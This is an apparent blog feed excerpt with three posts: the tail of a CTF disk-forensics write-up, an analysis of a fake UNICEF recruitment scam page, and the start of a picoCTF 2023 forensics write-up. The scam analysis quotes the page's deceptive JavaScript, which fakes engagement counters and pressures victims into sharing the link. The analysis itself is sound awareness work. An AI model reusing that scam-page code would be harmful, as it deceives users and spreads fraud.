titled</p><ul><li>dracula.txt.enc</li><li>frankenstein.txt.enc</li><li>les-mis.txt.enc</li></ul><p>The fourth file, 7.bmp, actually failed to decode. So we ignored it for now and put it on the back of our mind.</p><p>When printing the contents of the three files, they gave garbage. Seems they are encrypted after all. Well, no issue, we can try to use the AES information we recieved in that same conversation in an attempt to decode it! Now, Im no good with cryptography, I know nothing about it; However, my team does! My teammate SirSquibbins wrote a quick decryptor script (will be provided later if he approves) and decrypted the secret files! Aha! Surely, this must contain some hint somewhere, nobody would encrypt something for no reason!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_WRrsPDKt3ElVui5.png" /></figure><p>its.. its literally just the books. Its the books in their entirety, and nothing else. All three of them, books.</p><p>It was at this point I was stumped. I had zero clue what to do from here after getting those decrypted. However, Im glad I wasnt alone! Me and my team decided to dig into that weird third note, and thats when I was informed by another one of my teammates, Flipout50, that these were actually League of Legends characters names combined! “yasuoaatrox” or “yasuo and aatrox”!</p><p>Question becomes.. what the hell do we do with this information? yea so what, yone combined two LoL names, what does that do for us? It was at this point me and my team decided that the 7.bmp file is likely our end goal, and we clearly need a new password for it. We tried all words in the “notes” files, and nothing worked. We tried the same password, keywords from the chat logs, etc, and it all failed.</p><h3>Desperation</h3><p>This was the point I got desparate and did the thing all desperate people do. I ran “strings” on the disk image and grepped for “password” And… it worked! I actually found something!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JO3A9dg1y39wKytD.png" /></figure><p>Looks like an email! But thats weird, because we <em>searched</em> the emails, and this wasnt there? Maybe it was deleted but kept in the memory? I dont know, and i dont care; we found something. After getting this I decided to grep for “&gt; subject: Re: Enlightened passwords” and get 20 lines before and after, so we can extract the full email exchange.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wYFD-xXg1UGTdzvn.png" /></figure><p>Not only do we find the full conversation, but we actually <em>see</em> the command trace of yone deleting this email! Thats why we couldnt find it! Now reading the email, we are told that the most important password is created using the xkcd comic (<a href="https://xkcd.com/936/">https://xkcd.com/936/</a>). This comic suggests getting four random things you know, and combine them into some sentence or such to remember it.</p><p>It was at this point my team remembered that intial third note, and began to think that those two LoL champion names are the first two parts of the password!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20863871372e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THE FAMOUS UNICEF JOB SCUM]]></title>
            <link>https://medium.com/@khanzjoel55/the-famous-unicef-job-scum-a886b48bc1bd?source=rss-2d4614f1cd07------2</link>
            <guid isPermaLink="false">https://medium.com/p/a886b48bc1bd</guid>
            <category><![CDATA[scams-to-avoid]]></category>
            <category><![CDATA[phishing-awareness]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Khanzjoel]]></dc:creator>
            <pubDate>Sun, 21 May 2023 23:02:42 GMT</pubDate>
            <atom:updated>2023-05-21T23:18:54.876Z</atom:updated>
            <content:encoded><![CDATA[<p>LET NOT EITHER YOU OR YOUR COLLEAGUE FALL FOR THE SCUM THAT IS IN TOWN</p><p>Hello everyone My name is Joel, I am cyber security professional from Uganda, standing as an exemplary figure in the fight against cyber crime. My dedication, expertise, and commitment to protecting digital frontiers make me a trusted guardian of online security. Through my valuable contributions to the cybersecurity community, I play an instrumental role in fortifying Uganda’s cyber defenses and inspiring future generations to embark on a path of cyber resilience.</p><p><strong>Championing Cyber Resilience:</strong></p><p>Recognizing the importance of cyber resilience, I emphasizes the significance of proactive defense strategies, incident response planning, and cybersecurity awareness training. By promoting a culture of cyber preparedness, I play a pivotal role in strengthening the resilience of organizations and individuals against cyber threats, effectively minimizing potential damages and ensuring a safer digital environment.</p><p><strong>THE SCUM-ALERT</strong></p><p>Recently opened my whats-app and i was welcomed by message from a friend asking me how legit was a specific job advert for UNICEF and the message contained links that looked weird.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/0*NZBL1FWZi5I9qxKL.png" /><figcaption>this screenshot has a typo on the word UICEF lol</figcaption></figure><p>Recently there have been many phishing campaigns and the UNITED NATIONS JOB RECRUITMENT SCUM dominates them at I write this article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK4e4I_5jI0bCVfCcprkCQ.png" /></figure><p>It is being shared in most whatsapp groups and other platforms to attract a large number of unemployed youths wishing to try their lack of getting jobs. The scammers know many youths have smart phones, so they can easily fall for such a bait.</p><blockquote>The link shared looks like this</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/0*q6hoqvvXxSA4SoT6.png" /></figure><p>The United Nations Children’s Fund (UNICEF), originally known as the United Nations International Children’s Emergency Fund, was created by the United Nations General Assembly on 11 December 1946. It was created to provide emergency food and healthcare for children and mothers in countries devastated by World War II.</p><p>EXODUS OF THE SCAM</p><p>Given the link that looks like this <a href="https://cuts.ke/Unicef-Jobs-Recruitment-2023">https://cuts.ke/Unicef-Jobs-Recruitment-2023</a>, it left me with very many questions.</p><p>The official UNICEF website is <a href="https://www.unicef.org/">https://www.unicef.org/</a>, why is the link shared <a href="https://cuts.ke/">https://cuts.ke</a></p><p>Where is the link redirecting us to?</p><p>What do we need to do once redirected?</p><p>What are we asked to give away?</p><p>What are we being asked to download or upload?</p><p>How legit is the process?</p><p>What is the benefit of the scammers?</p><p>Given the experience I have in analyzing such cases let me dive in to answer these questions.</p><p>Clicking on the link (<a href="https://cuts.ke/Unicef-Jobs-Recruitment-202">https://cuts.ke/Unicef-Jobs-Recruitment-202</a>) we are redirected to the site <a href="https://recruitment.jobs-checker.xyz/,https://recruitment.jobs-checker.xyz/">https://recruitment.jobs-checker.xyz/,https://recruitment.jobs-checker.xyz/</a> which is slightly different from what we saw from the link shared, but is a recruitment portal that looks like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tKcs3r5fZbLRDw6l.png" /></figure><p>This page has an application form that requires us to input our personal details, without signing up or logging in. However, the page has a sign-up or login button.</p><p>That’s suspicious because why should a portal allow you to use its functions without signing up? Wowww</p><p>Let’s go deep into that</p><p>My further analysis shows that the signup/login buttons are not responsive initially; they are not functional when you click them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_YZR4vx8Rrt85sS6.png" /></figure><p>We can confirm that by checking the source code and seeing the code behind the buttons.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/0*LDyD3ogq6ClGXaRr.png" /></figure><p>Those buttons don’t let you navigate anywhere, which is a bit strange for a global organization like UNICEF’s job recruitment portal. Let me fill out the form with the details they ask for. However, I have to confirm something small before filling in the form The submit button functionality, because I wish to know what happens after I submit my details to the portal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L9yHQKJWcDkpdb2F.png" /></figure><p>That red button is the one I am talking about, because it can submit my details and to what destination.</p><p>Let’s confirm that by checking the code behind the button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/0*cjXnNoq9BkcyKPF_.png" /></figure><p>The button just redirects us to another web page called step2.html, so the details we enter are not submitted either to the database or anywhere. When we click on the APPLY button, we are redirected to another page</p><p>Filling the form</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/0*fR39C6xARz44vNJ7.png" /></figure><p>That is how I filled the form with wrong details like incorrect phone number format and incorrect country. If the form was legit should have filtered out the incorrect details for example 444444 is not a phone number. Imagine the form accepts wrong details. After pressing the Apply button, we were redirected to <a href="https://recruitment.jobs-checker.xyz/step2.html">https://recruitment.jobs-checker.xyz/step2.html</a> as we had seen earlier and the page looks like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oyG-oky7XWxWO3PZ.png" /></figure><p>Before clicking the green button, we must first check the code behind it.</p><p>I always get interested in JavaScript code because it’s the one that triggers the damage functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/0*rEKa0NOvW8nR0dVX.png" /></figure><p>The number of people registering keeps increasing every minute, but why does it increase but our details do not go anywhere? This is the math behind the increments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*08wVDJuSCdHwQ69H.png" /></figure><p>This is the math behind the increments.</p><p>Explanation of the code above.</p><p>The JavaScript code sets up a countdown timer that starts with a value of 4548 and decrements every second until it reaches zero. Let’s break down the code:</p><p>Here’s how the code works:</p><pre>The variable timeleft is initialized with a value of 4548. This represents the initial time remaining in the countdown.</pre><pre>The setInterval function is called, which repeatedly executes the provided callback function at the specified interval (in this case, every 1000 milliseconds or 1 second).</pre><pre>In the callback function, timeleft is incremented by a random value between 0 and 600 using Math.floor(Math.random() * 600). This random increment simulates time passage in an unpredictable manner.</pre><pre>The content of the element with the id &quot;countdowntimer&quot; is updated with the current value of timeleft using document.getElementById(&#39;countdowntimer&#39;).textContent = timeleft;. This will display the updated countdown value on the webpage.</pre><pre>The code checks if timeleft is less than or equal to zero. If it is, clearInterval(downloadTimer) is called, which stops the interval execution, effectively stopping the countdown.</pre><p>Initially, the purpose of this is to fool the people that this is real time statistics of people applying for the job wowww clever catch to fool innocent people.</p><p>The same page has a comment, like and reply section where applicants confess that they have applied and others have been considered. My guess is that this is also just hard coded java script to fool people.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*eZYBv2JJaZ8EL3tr.png" /></figure><p>This is the java script behind the like, share and comment section.</p><pre>var time = 0;<br>window.setInterval(function () {<br>    time = time + 1;<br>    $(&quot;.t1&quot;).html(time + 1 + &quot;m&quot;);<br>    $(&quot;.t2&quot;).html(time + 2 + &quot;m&quot;);<br>    $(&quot;.t3&quot;).html(time + 4 + &quot;m&quot;);<br>}, 6e4);<br>var likes = 134,<br>    comments = 23,<br>    shares = 12;<br>window.setInterval(function () {<br>    likes = likes + Math.floor(Math.random() * 3);<br>    comments = comments + Math.floor(Math.random() * 2);<br>    shares = shares + Math.floor(Math.random() * 2);<br>    $(&quot;#likes&quot;).html(likes + &quot;K&quot;);<br>    $(&quot;#comments&quot;).html(comments + &quot;K comments&quot;);<br>    $(&quot;#shares&quot;).html(shares + &quot;K shares&quot;);<br>}, 5e3);<br>$(&quot;.liked&quot;).click(function () {<br>    if ($(this).hasClass(&quot;selected&quot;)) {<br>        $(this).removeClass(&quot;selected&quot;);<br>        $(this).html(&quot;Like&quot;);<br>    } else {<br>        $(this).addClass(&quot;selected&quot;);<br>        $(this).html(&quot;Unlike&quot;);<br>    }<br>});</pre><p>var time = 0; window.setInterval(function () { time = time + 1;</p><p>(“.t2”).html(time + 2 + “m”);</p><pre>$(&quot;.t3&quot;).html(time + 4 + &quot;m&quot;); }, 6e4); var likes = 134, comments = 23, shares = 12; window.setInterval(function () { likes = likes + Math.floor(Math.random() * 3); comments = comments + Math.floor(Math.random() * 2); shares = shares + Math.floor(Math.random() * 2); $(“#likes”).html(likes + “K”</pre><p>It sets up an interval function using setInterval() that runs every 60,000 milliseconds (1 minute). Inside this function, it increments the time variable by 1 and updates the HTML content of elements with the classes “t1”, “t2”, and “t3” to display the updated time values.</p><p>It defines variables likes, comments, and shares with initial values of 134, 23, and 12 respectively.</p><p>Another interval function is set up using setInterval() that runs every 5,000 milliseconds (5 seconds). Within this function, the likes, comments, and shares variables are updated by adding a random number to each. The HTML content of elements with the IDs “likes”, “comments”, and “shares” is then updated to reflect the updated values.</p><p>Initially the code does the magic of incrementing the likes and shares but not the applicants as purported</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*iKIj2JxVz13nQHWE" /></figure><p>As you can see the from the above screenshot, the comments on the web page are coded in the html hence we confirm that there is no user or applicant that commented or can comment since its static.</p><p>So from the webpage we are told to continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/0*gmJ7tVryoy9VzbHd" /></figure><p>After clicking on the continue button we are redirected to a page that looks like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/0*lyshdMUOQ5WhQz5D" /></figure><p>As usual same people with same comments haha what changes here is the likes,shares and time because it is increment as we saw by the js code above.</p><p>On this webpage we are asked to validate our name and current level education and a send button. To check the authenticity of this form i always put wrong syntax of inputs for example if am asked name i put a number as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/0*rs8CjsiAwLYRz8jv" /></figure><p>This is because I am aware that scammers motives are way far beyond what you input.</p><p>After clicking the send button, the portal accepts those details, proving to be a success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/0*HyssPQFk2WIuxeKe" /></figure><p>After clicking send button we are redirected to <a href="https://recruitment.jobs-checker.xyz/step2.html">https://recruitment.jobs-checker.xyz/step2.html</a> stills this page is interesting because its where the users are told to share this link to 5 whatsapp groups before they continue. This is to attract more people to the scam.</p><p>The page looks like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/0*Tiy38yYAKMBwv8jQ" /></figure><p>Here the innocent user are enticed that they are qualified to work at UNICEF but at one condition first. How to proceed:</p><ol><li>Share it with 5 groups or 15 friends on WhatsApp (Click on the “SHARE” icon below).</li><li>You will be redirected automatically to our “APPOINTMENT FORM” page after the GREEN verification bar is filled.</li><li>You will receive a confirmation Email After Successful Application. So in order for one to receive the appointment he has to fulfill the above haha wow, lets analyze the magic behind that share button.</li></ol><p>So the instructions you can only be redirected automatically to their “APPOINTMENT FORM” page after the GREEN verification bar is filled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/0*YTEPh-_n3c7gHNli" /></figure><p>So lets check the code to understand the basis of this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/0*RO3Go1hyFHnk25rr" /></figure><p>So the share button on line 854 has an id called whatsapp and this will ease our analysis as the id will be traced from the java script code to get the functionality of the button. The scammers were too wise that they encoded the JavaScript so as to make our lives hard to analyze, but i was able to decode and make the code readable as seen. The code looked like this</p><pre>document.write(unescape(&#39;%20%3Cscript%20type%3D%22text/javascript%22%3E%0A%20var%20swidth%20%3D%20localStorage.getItem%28saved%29%3B%0Aif%20%28swidth%20%21%3D%3D%20null%29%20%7B%0A%20%20%20%20var%20width%20%3D%20swidth%20*%201%3B%0A%20%20%20%20%24%28%22%23intro%22%29.fadeOut%280%29%3B%0A%20%20%20%20%24%28%22.comments%22%29.fadeOut%280%29%3B%0A%20%20%20%20%24%28%22%23share%22%29.fadeIn%280%29%3B%0A%20%20%20%20%24%28%22%23fill2%22%29.css%28%22width%22%2C%20width%20+%20%22%25%22%29%3B%0A%20%20%20%20%24%28%22%23percentage2%22%29.text%28width%20+%20%22%25%22%29%3B%0A%7D%20else%20%7B%0A%20%20%20%20var%20width%20%3D%200%3B%0A%7D%0A%24%28%22%23whatsapp%22%29.click%28function%20%28%29%20%7B%0A%20%20%20%20window.location.href%20%3D%20share%3B%0A%20%20%20%20if%20%28width%20%3D%3D%200%29%20%7B%0A%20%20%20%20%20%20%20%20width%20+%3D%2050%3B%0A%20%20%20%20%7D%20else%20if%20%28width%20%3D%3D%2050%29%20%7B%0A%20%20%20%20%20%20%20%20alert%28error%29%3B%0A%20%20%20%20%20%20%20%20width%20+%3D%2015%3B%0A%20%20%20%20%7D%20else%20if%20%28width%20%3D%3D%2065%29%20%7B%0A%20%20%20%20%20%20%20%20width%20+%3D%205%3B%0A%20%20%20%20%7D%20else%20if%20%28width%20%3D%3D%2070%29%20%7B%0A%20%20%20%20%20%20</pre><p>Note: the code above is just a snippet of a larger code.</p><p>After a good Time of research i released, the code seems to be encoded using the escape function, so it needs to be decoded before it can be understood properly. I was able to use an online tool for code decoding and beautifying. And the code now looks like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jF9FrgravEvMwA0S" /></figure><p>So now i am able to read the code and anlyze it.</p><p>The code creates a script element dynamically using document.write and assigns it a type of “text/javascript”. Inside the script, there are JavaScript statements.</p><p>THE WHATSAPP ID</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/0*a3nC13MlxvZ0Jkis" /></figure><p>Handling the click event on the element with the ID “whatsapp”: When clicked, it changes the window.location.href to the value of the share variable, which is a <strong>WhatsApp share link. </strong>Depending on the current value of width, different conditions are checked, and the width variable is incremented accordingly. If width reaches a specific value, it displays an alert with the content of the error variable.</p><p>After updating the width variable, it stores the updated value in the <strong>localStorage</strong> using the saved key. After a delay of 2000 milliseconds, it updates the width and text of the element with the ID “fill2” and “percentage2” respectively. When the element with ID “whatsapp” is clicked, the following actions are performed:</p><p>The window.location.href is set to the value of the share variable. This redirects the user to the specified URL. The code then checks the value of the width variable using a series of if statements.</p><p>If width is equal to 0, it increments the width variable by 50.</p><p>If width is equal to 50, it displays an alert with the content of the error variable and increments the width variable by 15.</p><p>If width is equal to 65, it increments the width variable by 5. If width is equal to 70, it displays an alert with the content of the error variable and increments the width variable by 10.</p><p>If width is equal to 80, it displays an alert with the content of the error variable and increments the width variable by 5.</p><p>If width is equal to 85, it increments the width variable by 2. If width is equal to 87, it increments the width variable by 1.</p><p>If width is equal to 88, it increments the width variable by 2.</p><p>If width is equal to 90, it increments the width variable by 1.</p><p>If width is equal to 91, it increments the width variable by 1.</p><p>If width is equal to 92, it increments the width variable by 1.</p><p>If width is equal to 93, it increments the width variable by 1.</p><p>If width is equal to 94, it increments the width variable by 1.</p><p>If width is equal to 95, it increments the width variable by 1.</p><p>If width is equal to 96, it increments the width variable by 2.</p><p>From the above when the link is clicked it is that is how the sharing of the phishing link 5 times is being counted using the function above. And the width is used to fill the bar as instructed.</p><p>WHAT HAPPENS AFTER THE ABOVE LOGIC?</p><p>When the share button is clicked the functionality behind it generates an advert to be shared in the whatsapp group like the one we saw at the start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/0*omGsUKwDEN_gvJ9_" /></figure><p>This code assigns this text to the variable. This same text is the one being shared and when you check it well it has a typo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/0*I5IP5ubkMBNn0qjM" /></figure><p>The word UNICEF is misspelled and that’s how illegitimate it is. The generated text looks like this in the whatsapp with the UNICEF misspelled as UICEF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/0*sQgUV-4NZwC5Jd8r" /></figure><p>And how is the function counting the percentage and the time the user shared the link to 5 whatsapp groups or 15 friends on whatsapp.</p><p>HOW THE PERCENTAGE IS COUNTED TO KNOW HOW MANY TIMES HAS THE LINK BEEN SHARED. The code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/0*FOVQDlRWOMUJaUwF" /></figure><ol><li>swidth: It retrieves the value stored in the localStorage object using the key “saved”.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Svlx4XCnUJoB1mJs" /></figure><ol><li>To confirm this let me change the value to 100 in the local storage to see if the function will retrieve the value. Editing the value in the local storage.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*krpDlE_0eZ8V3z77" /></figure><p>Now let me refresh the page and check the percentage of the bar if it is 100%</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NMrfdamtBMxsXbN_" /></figure><p>Initially we have been able to escape the logic of sharing this link to innocent people in the course of anlyzing.</p><p>And yess after refreshing the page bar is 100% hence it is true that just the function retrives the value in local storage unlike sharing the link 5 times in the whatsapp group.</p><p>The if statement checks if swidth is not null.</p><p>If the value is present in localStorage, the following actions are performed: The value of swidth is multiplied by 1 to convert it to a number and assign it to the variable width. The element with the id “intro” is faded out (fadeOut(0)), making it invisible. Elements with the class “comments” are faded out (fadeOut(0)), making them invisible.</p><p>The element with the id “share” is faded in (fadeIn(0)), making it visible. The width of the element with the id “fill2” is set using CSS, based on the value of width. The text content of the element with the id “percentage2” is set to the value of width plus the percentage symbol.</p><p>If swidth is null or not present in localStorage, the else block is executed, and width is set to 0. At 100% we can be able to see the full bar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c-QBY_fteAG2Kl7R" /></figure><p>After bypassing the sharing of the phishing link we were now redirected to another page requiring us to verify ourselves again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/0*aol25COjPg0lOpRO" /></figure><p>Let us see the functionality behind that button called VERIFY NOW but recall from the following code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/0*W971IK0j5VuvQ64h" /></figure><p>This page has a verify button which takes us to the <a href="https://link.shangodo.xyz/">https://link.shangodo.xyz</a></p><p>There is a link to be redirected to <a href="https://link.shangodo.xyz/">https://link.shangodo.xyz</a> share: It constructs a URL for sharing the text1 message on WhatsApp using the “whatsapp://send” protocol. And the constructed message looks like this</p><p>This is the same message we see being assigned to the variable in the code below not forgetting the typo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/0*FRDtiB3g2EkWn5g0" /></figure><p><strong>error</strong>: It contains a string message indicating that something is wrong with the posts and provides a possible reason for the issue for example</p><p><strong>abcde</strong>: It contains a string URL pointing to “<a href="https://link.shangodo.xyz/">https://link.shangodo.xyz</a>&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*WN0qiU4u9lGKfkJF1TnRKA.png" /></figure><p>What triggers being redirected t diferent sites every time we click <a href="https://link.shangodo.xyz/">https://link.shangodo.xyz</a>&quot;.</p><pre>   localStorage.setItem(saved, width);<br>                setTimeout(function() {<br>                    $(&quot;#fill2&quot;)<br>                        .css(&quot;width&quot;, width + &quot;%&quot;);<br>                    $(&quot;#percentage2&quot;)<br>                        .text(width + &quot;%&quot;);<br>                }, 2000);<br>            }); $(&quot;#offer&quot;)<br>            .click(function() {<br>                window.open(abcde, &quot;_blank&quot;);<br>            }); &lt;</pre><p>$(&quot;#offer&quot;).click(function() { ... });:</p><p>It attaches a click event handler to the element with the ID &quot;offer&quot;. When clicked, it opens a new browser window or tab with the URL specified in the abcde variable using the &quot;_blank&quot; target.</p><p>After leveraging all the functions we were redirected to the page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MucXrU6gd1aOmlgV" /></figure><p>On reaching that link were welcomed with a shopping site with wired url <a href="https://best.aliexpress.com/?aff_fcid=ce40bdbd60d149ab9ccecd0eaf3042ee-1684687908471-09645-_DekEWkD&amp;tt=CPS_NORMAL&amp;aff_fsk=_DekEWkD&amp;aff_platform=portals-promotion&amp;sk=_DekEWkD&amp;aff_trace_key=ce40bdbd60d149ab9ccecd0eaf3042ee-1684687908471-09645-_DekEWkD&amp;terminal_id=38bc9f9f674f47ccac2b87932128c160">https://best.aliexpress.com/?aff_fcid=ce40bdbd60d149ab9ccecd0eaf3042ee-1684687908471-09645-_DekEWkD&amp;tt=CPS_NORMAL&amp;aff_fsk=_DekEWkD&amp;aff_platform=portals-promotion&amp;sk=_DekEWkD&amp;aff_trace_key=ce40bdbd60d149ab9ccecd0eaf3042ee-1684687908471-09645-_DekEWkD&amp;terminal_id=38bc9f9f674f47ccac2b87932128c160</a></p><p>This page on that url looks like this mimicking AIiEXpress</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/0*7C3kLLYpTxYm73Zx" /></figure><p>To my surprise every time you click the link <a href="https://link.shangodo.xyz/">https://link.shangodo.xyz</a> it redirects you to a new site as seen now am not redirected to Ali express but to Gambling site that looks like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-KNTmaG_QyGegUDH" /></figure><p>This means every person is redirected to a different sites because of the $(&quot;#offer&quot;).click(function() { ... });: seen above.</p><p>Malicious actors have different motives, some may require you to download malicious softwares and others may require you to visit malicious links and sites.</p><p>To my suprize the person that expected the job ended up on a site that sells products and betting sites or sites that have Adult content.</p><p>CONCLUSION</p><p>The details about link <a href="https://link.shangodo.xyz/">https://link.shangodo.xyz</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/0*BCVnkmOOs-sLVoYM" /></figure><p>WHAT IS THIS KIND OF SCUM.</p><p>The scum name is called CLICK-BAIT.</p><p>HOW DOES IT WORK?</p><p>It involves creating misleading or sensational content with enticing headlines or promises to attract users to click on a link. When users click on the link, they are typically redirected to different websites that display advertisements.</p><p>Click bait is often used to generate high click-through rates (CTR) and drive traffic to websites, which can result in increased ad revenue or affiliate marketing earnings for the creator. However, clickbait practices are generally considered deceptive and unethical, as they manipulate users’ curiosity or interest to generate clicks without providing valuable or relevant content.</p><p>It’s worth noting that many online platforms and advertising networks have policies in place to combat click fraud and clickbait practices. They employ algorithms and systems to detect suspicious click patterns and may penalize or ban accounts engaging in such activities.</p><p>The practice of clickbait or click fraud is related to the pay-per-click (PPC) model in online advertising. In a typical PPC model, advertisers pay a fee each time their ad is clicked. This model is commonly used in search engine advertising (such as Google AdWords) and other online advertising platforms.</p><p>Clickbait or click fraud can exploit the PPC model by artificially generating clicks on ads without genuine user interest or intent. This can be done through automated scripts, bots, or by incentivizing users to click on ads through deceptive means. The intention is to increase the number of clicks and drive up advertising costs for the targeted ad campaign.</p><p>Clickbait practices aim to manipulate the PPC model to generate revenue for the publisher or to sabotage competitors’ ad campaigns. However, it is important to note that click fraud and clickbait are considered fraudulent activities and are strictly prohibited by advertising platforms and networks. Advertisers and platforms take measures to detect and prevent click fraud, such as using algorithms and monitoring click patterns to identify suspicious activity.</p><p>Hence some times a user can redirected to sites that may install malware to his/her device.</p><p>Initially its is a good idea not to click any links and basing on that organizations have their websites equipped with information that one can verify in order not to fall for such scums that may wreck havoc to you or your device.</p><p>I Can imagine the time you took to read my artical up to the end, Thank you very much.</p><p>xD happy hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a886b48bc1bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PICOCTF 2023 WRITEUPS]]></title>
            <link>https://systemweakness.com/picoctf-2023-writeups-471f9b7e570a?source=rss-2d4614f1cd07------2</link>
            <guid isPermaLink="false">https://medium.com/p/471f9b7e570a</guid>
            <category><![CDATA[autopsy]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[picoctf-2023]]></category>
            <dc:creator><![CDATA[Khanzjoel]]></dc:creator>
            <pubDate>Tue, 04 Apr 2023 01:10:54 GMT</pubDate>
            <atom:updated>2023-08-15T16:52:32.124Z</atom:updated>
            <content:encoded><![CDATA[<h3>UNFORGOTTEN BITS</h3><p>This challenge had few solves and it was amazing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*KRCKJgNVD5hQkqhxlcn23Q.png" /></figure><p>DESCRIPTION: Download this disk image and find the flag.Note: if you are using the web shell, download and extract the disk image into /tmp not your home directory.</p><ul><li><a href="https://artifacts.picoctf.net/c/487/disk.flag.img.gz">Download compressed disk image</a></li></ul><p>Unforgotenbbit challenge was an amazing challenge as I took some good time to solve it</p><p>I can’t imagine I used chatgpt to solve this challenge hehe, let me show you how.</p><p>I downloaded the image and extracted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*6Y4DTYrKq5qE4B2jWAWrNQ.png" /></figure><p>I am an autopsy person so I loaded the image I autopsy, but as a norm I first headed too root directory and nothing juicy was there as there was a file which had nothing much to go about</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*hf19gAbo3wPRgFWi3aHW5A.png" /></figure><p>I now switched my luck to Home directory looked promising as it had a directory called yone, and since this challenge had no hints but we were instructed that there are many hints on the disk, I got interested in any plain text words on the disk especially in home/yone directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*HQDN1oJjB8VkV7u59RuKfA.png" /></figure><p>In mail directory under yone there was an interesting directories,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*SVBhAt9CpAnLa8-IEML2og.png" /></figure><p>At first I headed to mail directory for some passwords or hints or any plain text words or maybe a flag. The yone directory under home looked Juicy as it contained meaningful files that had a bunch of things to critically analyse.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*-4dmM-r-ZaUN_paRMWHimw.png" /></figure><p><strong>.ash_history</strong></p><p>To narrow down my analysis manually open each file the yone directory beginning with the file called .ash_history which didn’t have a lot to care about</p><p>I now switched to <strong>/home/yone/.lynx</strong></p><p><strong>Inside that directory there was a file called browsing history.log</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*Vr8xLaKNW_gGDZJHMh-H-w.png" /></figure><p><a href="https://en.wikipedia.org/wiki/Church_encoding">https://en.wikipedia.org/wiki/Church_encoding</a></p><p><a href="https://cs.lmu.edu/~ray/notes/numenc/">https://cs.lmu.edu/~ray/notes/numenc/</a> <a href="https://www.wikiwand.com/en/Golden_ratio_base">https://www.wikiwand.com/en/Golden_ratio_base</a></p><p>This file contained the browser history that contained searches about church encoding and golden base ration encoding but I didn’t make any sense of it by that time <strong>not until I landed on why Golden base ration encoding is in browser history and was searched last.</strong></p><p><strong>Gallery directory</strong></p><p><strong>/home/yone/gallery</strong></p><p>On navigating more I landed on a gallery directory, which had images,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*EXuOy959xuzR8Xi3G14J_g.png" /></figure><p>I exported the images one by one to my kali for independent steganography</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*hcIrti3HoBbNGWGrUGDgiw.png" /></figure><p>I tried steg on all of the images but they required a passphrase, which I didn’t have at the moment maybe to continue narrowing my search.</p><p><strong>/home/yone/Irclogs folder</strong></p><p>The directory has other nested folders inside</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*-hISkdA61aVhD0lsDDmG9A.png" /></figure><p>I started with directory 01</p><p>And inside there is another folder 